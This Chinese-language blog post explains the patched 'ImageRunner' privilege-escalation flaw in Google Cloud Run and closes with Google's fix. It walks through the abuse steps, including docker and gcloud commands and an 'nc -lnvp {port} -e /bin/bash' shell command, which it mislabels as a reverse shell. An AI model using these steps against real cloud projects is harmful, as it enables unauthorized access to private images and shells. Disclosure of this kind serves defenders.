ImageRunner漏洞:Google Cloud Run中的权限提升漏洞

什么是Cloud Run、Container Registry和Artifact Registry?

  • Cloud Run:一个完全托管的服务,用于在无服务器环境中运行容器化应用程序。它处理基础设施、扩展和执行环境,让你无需担心底层系统即可运行应用程序。
  • Container Registry:一个较老的服务,用于存储和管理容器镜像。自2025年3月18日起已被Artifact Registry取代。
  • Artifact Registry:下一代解决方案,支持多种类型的工件(包括Maven和npm包),提供更广泛的功能。

ImageRunner漏洞详细信息

漏洞概述:该漏洞允许攻击者利用Cloud Run修订版的编辑权限,访问同一项目中的私有容器镜像,即使他们没有相应的注册表权限。

攻击方法

  1. 获取必要权限 :攻击者需要run.services.updateiam.serviceAccounts.actAs权限。
  2. 更新Cloud Run服务:攻击者可以更新Cloud Run服务并创建一个新修订版。
  3. 指定私有镜像:在更新过程中,攻击者可以指定任何私有容器镜像作为新修订版的基础镜像。
  4. 注入恶意指令:攻击者可以通过添加命令或参数来注入恶意指令,例如使用Netcat(ncat)镜像建立反向连接,获取镜像内容或敏感数据。

示例代码和步骤

步骤1:拉取和推送ncat镜像

bash 复制代码
docker pull raesene/ncat
gcloud auth login
gcloud auth configure-docker
docker tag raesene/ncat gcr.io/{project-name}/ncat:latest
docker push gcr.io/{project-name}/ncat:latest

步骤2:更新Cloud Run服务

  • 使用具有run.services.updateiam.serviceAccounts.actAs权限的身份。
  • 更新Cloud Run服务并创建新修订版。
  • 指定私有镜像(例如gcr.io/{project-name}/ncat:latest)。

步骤3:注入恶意指令

  • 在容器参数中添加恶意指令,例如:

    bash 复制代码
    nc -lnvp {port} -e /bin/bash

    这将在攻击者机器上建立一个反向shell。

修复措施

Google已修复此漏洞,确保创建或更新Cloud Run资源的用户或服务账户必须具有显式的容器镜像访问权限。对于Artifact Registry,需要Artifact Registry Reader角色。

Jenga概念

ImageRunner是Tenable Research提出的"Jenga"概念的一个例子,指出云服务之间的依赖关系可能导致新的漏洞和风险。

相关推荐
IMPYLH2 分钟前
Lua 的 IO (输入/输出)模块
开发语言·笔记·后端·lua
白驹过隙^^7 分钟前
OB-USP-AGENT安装使用方法
数据库·经验分享·网络协议·tcp/ip·github·ssl
爱可生开源社区8 分钟前
SCALE | SQLFlash 在 SQL 优化维度上的表现评估
后端
xlp666hub41 分钟前
手写 Linux 并发服务器,fork, pthread与 epoll 模型实战(包含深层原理剖析)
github·c
进击的野人1 小时前
Vue 组件与原型链:VueComponent 与 Vue 的关系解析
前端·vue.js·面试
程序员小假1 小时前
我们来说一下消息的可靠性投递
java·后端
duangww1 小时前
SAPUI5 1.71.78老版本的消费restful服务
后端·restful
用户8599681677691 小时前
UE5虚幻引擎汽车HMI设计高级研修课
后端
用户8599681677691 小时前
鸿蒙HarmonyOS多线程编程实战:AI语音
后端
LYFlied1 小时前
TypeScript 常见面试问题
ubuntu·面试·typescript